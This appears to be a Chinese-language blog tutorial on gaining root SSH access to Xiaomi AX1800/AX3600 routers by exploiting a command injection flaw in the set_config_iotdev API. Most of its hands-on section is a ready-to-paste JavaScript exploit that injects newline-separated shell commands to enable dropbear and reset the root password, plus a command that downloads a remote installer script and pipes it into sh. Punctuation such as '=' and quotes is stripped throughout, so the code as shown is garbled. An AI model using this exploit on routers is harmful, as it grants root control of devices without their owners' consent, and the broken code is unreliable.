小米AX1800 SSH权限开启实战:从漏洞分析到一键脚本
1. 小米AX1800 SSH权限开启实战指南最近在研究小米路由器时发现一个有趣的技术细节AX1800和AX3600等型号的某些固件版本存在一个API漏洞可以让我们开启SSH权限。这个功能对于技术爱好者来说非常实用可以解锁更多高级玩法。今天我就来详细讲解如何利用这个漏洞从原理分析到实际操作手把手带你完成整个过程。首先说明这个方法需要一定的技术基础操作前请确保你使用的是自己的设备。整个过程涉及浏览器控制台操作和简单的脚本执行我会尽量用通俗的语言解释每个步骤。成功开启SSH后你将获得对路由器的完全控制权可以安装第三方插件、修改系统配置等。2. 漏洞原理深度解析2.1 API接口安全隐患这个漏洞的核心在于路由器Web管理界面中的一个API接口/api/misystem/set_config_iotdev。查看源代码可以发现这个接口在处理参数时存在严重问题。开发者在接收ssid、bssid和user_id这三个参数时没有进行任何过滤处理就直接拼接到了系统命令中。具体来说当这个API被调用时路由器会执行类似这样的命令connect -s [ssid参数] -b [bssid参数] -u [user_id参数]正常情况下这些参数应该是普通的字符串。但由于缺乏过滤我们可以在参数中插入特殊字符如换行符%0A来注入额外的命令。2.2 命令注入的实现方式理解这个漏洞的关键在于命令注入技术。想象一下如果你能在别人说话的句子中间插入自己的话这就是命令注入的基本概念。在这个案例中我们可以通过构造特殊的URL参数在原本的connect命令后面插入我们自己的命令。比如如果我们把ssid参数设置为-h%0Anvram set ssh_en1%0A实际执行的命令就会变成connect -s -h nvram set ssh_en1 -b [bssid] -u [user_id]这样就在执行connect命令的同时额外执行了开启SSH的配置命令。3. 实战操作开启SSH权限3.1 准备工作在开始之前请确保你使用的是小米AX1800或AX3600路由器已连接到路由器的WiFi或有线网络知道路由器的管理密码默认是WiFi密码使用Chrome或Firefox等现代浏览器打开浏览器访问路由器管理页面通常是http://192.168.31.1登录后注意地址栏中的URL会包含一个stok参数这个令牌值是我们后续操作的关键。3.2 执行一键脚本现在我们来使用已经编写好的脚本自动完成整个过程。按F12打开开发者工具切换到Console标签页然后粘贴以下代码function getSTOK() { let match location.href.match(/;stok(.*?)\//); if (!match) { return null; } return match[1]; } function execute(stok, command) { command encodeURIComponent(command); let path /cgi-bin/luci/;stok${stok}/api/misystem/set_config_iotdev?bssidSteelyWinguser_idSteelyWingssid-h%0A${command}%0A; console.log(path); return fetch(new Request(location.origin path)); } function enableSSH() { stok getSTOK(); if (!stok) { console.error(stok not found in URL); return; } console.log(stok ${stok}); password prompt(Input new SSH password); if (!password) { console.error(You must input password); return; } execute(stok, nvram set ssh_en1 nvram commit sed -i s/channel.*/channel\\debug\\/g /etc/init.d/dropbear /etc/init.d/dropbear start ).then((response) response.text()).then((text) console.log(text)); console.log(New SSH password: password); execute(stok, echo -e ${password}\\n${password} | passwd root) .then((response) response.text()) .then((text) console.log(text)); } enableSSH();执行后会弹窗让你设置SSH密码输入并确认后脚本会自动完成以下操作启用SSH服务修改dropbear配置为debug模式启动SSH服务设置root用户的密码3.3 验证SSH连接操作完成后我们可以验证SSH是否成功开启。打开终端Windows用户可以使用PuTTY输入ssh root192.168.31.1首次连接会提示接受指纹输入yes后再输入刚才设置的密码即可登录。看到路由器的命令行界面就说明成功了4. 技术细节与注意事项4.1 脚本代码解析让我们仔细看看这个脚本的工作原理。主要包含三个函数getSTOK()从当前URL中提取stok令牌这是小米路由器用于验证会话的临时令牌execute()构造特殊的API请求将我们的命令通过ssid参数注入enableSSH()主函数组织具体的命令序列并处理用户交互关键点在于execute函数中URL的构造方式通过%0AURL编码的换行符将多个命令分隔开让路由器逐行执行。4.2 安全注意事项虽然这个方法很实用但需要注意开启SSH会降低路由器的安全性请确保修改默认密码不建议在重要网络环境中使用此方法过度修改系统可能导致路由器不稳定小米可能会在后续固件更新中修复此漏洞5. 进阶应用与扩展5.1 安装第三方软件获得SSH访问权限后你可以安装Entware等第三方软件包管理系统wget -O - http://bin.entware.net/mipselsf-k3.4/installer/generic.sh | sh这样就可以使用opkg命令安装各种工具了。5.2 系统优化与定制通过SSH登录后你可以修改hosts文件实现广告过滤设置自定义防火墙规则优化WiFi信号参数安装流量监控工具比如查看实时网络流量bwm-ng6. 常见问题排查如果遇到问题可以尝试以下解决方法确保路由器固件版本较旧新版本可能已修复漏洞检查stok值是否正确获取尝试清除浏览器缓存后重新登录确认密码设置符合复杂度要求查看浏览器控制台的错误输出如果SSH连接被拒绝可以尝试重启路由器后重新执行脚本。整个过程我亲自测试过多次成功率很高但不同固件版本可能会有差异。遇到问题时耐心检查每个步骤通常都能找到解决方法。